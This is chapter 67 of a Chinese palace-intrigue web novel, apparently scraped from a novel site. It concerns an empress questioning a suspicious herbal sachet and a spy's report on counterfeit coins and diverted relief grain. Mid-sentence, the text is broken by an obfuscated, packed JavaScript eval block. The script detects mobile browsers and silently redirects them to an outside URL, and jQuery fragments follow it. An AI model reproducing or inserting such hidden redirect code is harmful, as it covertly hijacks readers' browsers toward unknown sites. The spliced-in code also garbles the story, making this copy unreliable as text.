默认冷灰
24号文字
方正启体

67. 第 67 章

作者:广东绝色双马尾本书字数:K更新时间:
    王允请辞,陆扶摇虽然不喜,但是毕竟送来的匣子她实在喜欢,只能半夜起身翻起了那一沓沓的官员名册。


    笔尖在那一摞待选的官员名册上缓缓划过。一个个名字看过去,不是资历太浅压不住阵,就是背后牵扯太多派系,最后便是才干平庸,不堪大用。


    名册被翻来覆去看了两三遍,最终停在一个名字上,又缓缓移开。她将名册合上,随手丢在案角,发出不轻不重的一声响。


    “啧。”陆扶摇看了一眼站在一侧准备起草文书的尚义,扶额叹气。


    “娘娘。”


    灼华无声地上前,执起红泥小炉上一直温着的紫砂壶。水流倾泻,注入白瓷盏中。


    陆扶摇从堆积的奏疏中抬起眼,目光落在那一汪暖汤上,紧绷的肩颈似乎微不可察地松弛了半分。


    “你倒是贴心。”


    她吹开浮叶,抿了一口,茶汤甘醇,暖意自喉间滑下,确实驱散了几分疲惫。


    “紫宸殿乳母现已候旨于外,听凭传召。”灼华后退半步,继续低声禀报:“方才乳母过来,已将陛下妥善安置至侧殿歇息了。”


    闻言,陆扶摇放下一直捏着的笔,目光下意识地转向侧殿的方向。


    虽然隔着重重帷幔与殿墙,她什么也看不见。


    “旭轮又病了吗?”站起身来,陆扶摇的话音里带着一丝不易察觉的紧绷。她快步走到窗前,指尖下意识地扣紧了冰凉的窗棂。


    毕竟还是一个小孩,昨夜踢了被子,白日里玩闹出汗又着了风,他若是病了,也不算稀奇。


    只是她凝神细看,月光与廊灯映照下,乳母的面容平静如常。


    陆扶摇扣紧窗棂的指尖缓缓松开,紧绷的肩背也随之松弛下来。


    “娘娘。”乳母一进含元殿便敛衽行礼,姿态恭谨却不见慌乱,声音平稳如常。


    陆扶摇已坐回案后,手中虽执着朱笔,目光却落在乳母身上,将她从头到脚细细审视了一遍。


    “旭轮又生什么事了?”


    毕竟是猫嫌狗憎的年纪,在长安的时候,常常惹得太妃娘娘找她告状。


    只是不知道如今到了洛阳,李旭轮又是做了什么“好事”,劳动沉稳的嬷嬷半夜特意寻来含元殿。


    她了解乳母的性子,若非真有什么棘手或异常的状况,绝不会在这个时辰前来打扰。方才回话时那般平静,只怕下面的话又要惹得她心火大动。


    “今日,苏大人送了一个香囊。”


    看着乳母躬身捧上来的那只粗布香囊,陆扶摇微微挑眉。


    苏寒清自入宫以来,虽因身份吃穿用度并非奢靡,但好歹也是太后身边近臣。尚衣局送去的衣料,最次也是细棉软缎,何曾见过这般耐磨却粗糙的土布?


    将那只粗布香囊凑近鼻尖,陆扶摇极轻地嗅了一下。


    清苦的药草气息涌入胸腔,陆扶摇细细分辨。


    茯神、远志、酸枣仁、合欢皮。


    的的确确都是再常见不过的安神药材,配伍也中正平和,挑不出错处。


    “妾身仔细瞧了,里面的药材配伍,确实是稳妥的安神方子,并无任何不妥之处。”


    陆扶摇倏然回神,将目光从掌心的香囊上移开,落在乳母沉稳的脸上。


    乳母微微颔首,语气肯定,“只是这香囊妾身瞧着并不像是尚衣局的手艺,也不像是苏大人那般身份之人会随身佩戴的物件。故而不敢隐瞒,特来向娘娘禀报。”


    缓缓靠回椅背,陆扶摇微微颔首。


    “你做得很好。”


    乳母闻言,并未露出丝毫得意,只是更深地敛衽行礼:“为娘娘分忧,是妾身的本分。”


    陆扶摇唇角虚虚地勾了一下,她低下头,指尖无意识地捻着袖口繁复的金线绣纹,陷入短暂的沉思,片刻后,她复又抬起头,这一次,唇角的笑意却真切了几分。


    “你先退下,好生看顾陛下吧。今夜之事,不必再对旁人提起。”


    乳母不再多言,悄无声息地退后几步,转身融入了殿外的夜色之中,朝着侧殿的方向走去,脚步沉稳,一如她来时,远离风云。


    殿内重归寂静,陆扶摇靠在椅背上,脸色阴沉。


    烛光在她脸上投下明明灭灭的阴影,让那双总是锐利逼人的凤眸此刻显得幽深难测。唇角那点若有似无的笑意早已消失无踪。


    灼华小心地上前几步,声音放得极轻,“娘娘,可要……妾身去请苏大人过来一趟?”


    灼华问得谨慎,但陆扶摇只是重新将目光落在了面前的名单上。


    “不必。”陆扶摇侧头,那笑容依旧挂在脸上,“他若真的胆大包天,起了勾结内外的心思,此刻打草惊蛇,可不是什么明智之举。”


    垂首应是,灼华却在陆扶摇低头落笔的瞬间,将眼睫极快地抬起,悄悄偷瞄了陆扶摇一眼。


    “你在担心本宫生气吗?”


    陆扶摇并未抬头,目光仍落在案牍之上,只是随手将指间那支紫毫笔搁在了青玉笔山上,发出一声极轻的脆响。


    这话问得轻飘飘,却让正准备悄声退出去的灼华身形猛地一滞。


    “妾身……”


    灼华支支吾吾地开口,声音细若蚊蚋,后面的话却像是卡在了喉咙里,半晌也吐不出来。


    陆扶摇并不催促,只是眼皮子微微掀了一下,将目光平静地落在她身上。


    她确实并不在意,甚至可说是乐于见到下边的人对她心思的揣测与试探。


    “担心是常情。”她终于再次开口,声音里听不出喜怒,“在这宫里,不会揣测上意的人,才活不长。”


    她说着,甚至好整以暇地端起手边微凉的茶盏,轻轻呷了一口。


    “只是,揣测可以,但自作聪明,那便是另一回事了。”


    灼华听得心头一紧,连忙将头埋得更低:“妾身谨记娘娘教诲。”


    轻笑一下,陆扶摇不再多言,最后又拿起了桌面上那支紫毫笔,指尖微转,笔尖重新蘸向了砚台里尚未干涸的墨汁。


    “下去休息吧。”她说道。


    灼华如释重负,立刻深深敛衽行礼,声音比方才稳了许多:“是,妾身告


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245364|170293||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    退。”


    殿门轻轻合拢,将灼华离去时那点细微的脚步声也彻底隔绝在外。含元殿内终于彻底安静下来,只余烛火燃烧时偶尔发出的噼啪轻响,以及更漏缓慢而规律的滴答声。


    陆扶摇独自坐在宽大的案牍之后,她微微向后靠入椅背,指尖却仍无意识地搭在那份空悬的官员名册上。


    烛光将她的侧影投在身后的屏风上,拉出一道孤直而专注的轮廓。


    “生气了?”


    一直寂静得只剩下更漏声的含元殿内,空气仿佛凝滞了一瞬。烛火无风自动,猛地摇曳了一下,在墙壁上投下扭曲晃动的阴影。


    一道颀长的人影毫无征兆地出现在殿心厚重的地毯上,仿佛是从阴影本身中剥离凝聚而成。他身着夜行衣,与昏暗的殿宇几乎融为一体。


    她出现得如此突兀,却又如此自然,仿佛他一直就在那里,只是无人得见。


    陆扶摇执笔的手甚至没有一丝颤抖,朱批的笔画依旧稳如磐石,直至最后一笔勾勒完成,她才缓缓抬起眼,目光平静地落在那不速之客身上。


    “查清了?”她开口,声音没有任何起伏,仿佛对楼衔霜的出现毫不意外。


    “查不查得清,我们的好雉娘难道不清楚?”


    陆扶摇侧眸,陆扶摇看着楼衔霜笑嘻嘻地从那一沓沓厚重的书信文牍最底下,精准地抽出了一个毫不起眼的、甚至有些磨损的灰扑扑信封。


    只见她晃着那封信,冲陆扶摇眨了眨眼,“只是有些人呐,是个负心汉,把我扔到江南。对我寄回来的信,却是瞧也不瞧。”


    缓缓放下了手中那支紫毫笔,陆扶摇并未立刻去拿那封信,而是将手肘支在案上,指尖抵着下巴,眯着眼睛看着楼衔霜。


    “喂!那江南天天下雨,湿漉漉、黏糊糊,我去那儿替你跑腿可不容易!”


    陆扶摇看着她这副煞有介事的模样,只是无奈地耸了耸肩,“我也没想到他们没去江南。”


    毕竟私自铸币,总不能是为了收藏把玩。


    招兵买马,屯粮造械。不然,他们凭什么以为能撼动她的位置。


    去哪买?云州?


    地处边陲,胡汉杂居,朝廷管控历来薄弱,自然是个谋逆的好去处。


    可哪都有可能,但唯独不会是云州。


    旱魃为虐,赤地千里,云州如何养得活大批蛰伏的兵马?私铸恶钱多年,自然也能在云州买粮多年。这些精心伪造的□□,自然不是要挥霍在贫瘠之地,而是去江南。


    恰逢江南洪灾,朝廷必然开仓赈济。此时若有一群蠹吏,借着赈灾的名头,上下其手,窃取官粮倒卖牟利,简直是顺理成章,甚至不会引人过多怀疑。


    若是陆扶摇派去的巡察御史察觉,也不过是揪出几个贪得无厌的地方官,推出去砍了便是。只是,这些被买走的粮,未曾流入市井,而是神不知鬼不觉地进叛军的营中。


    天灾人祸做掩护,贪官污吏做挡箭牌。若非苏寒清提前送来的□□,陆扶摇也难这么快反应过来。


    只是,楼衔霜为何会空手而归?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)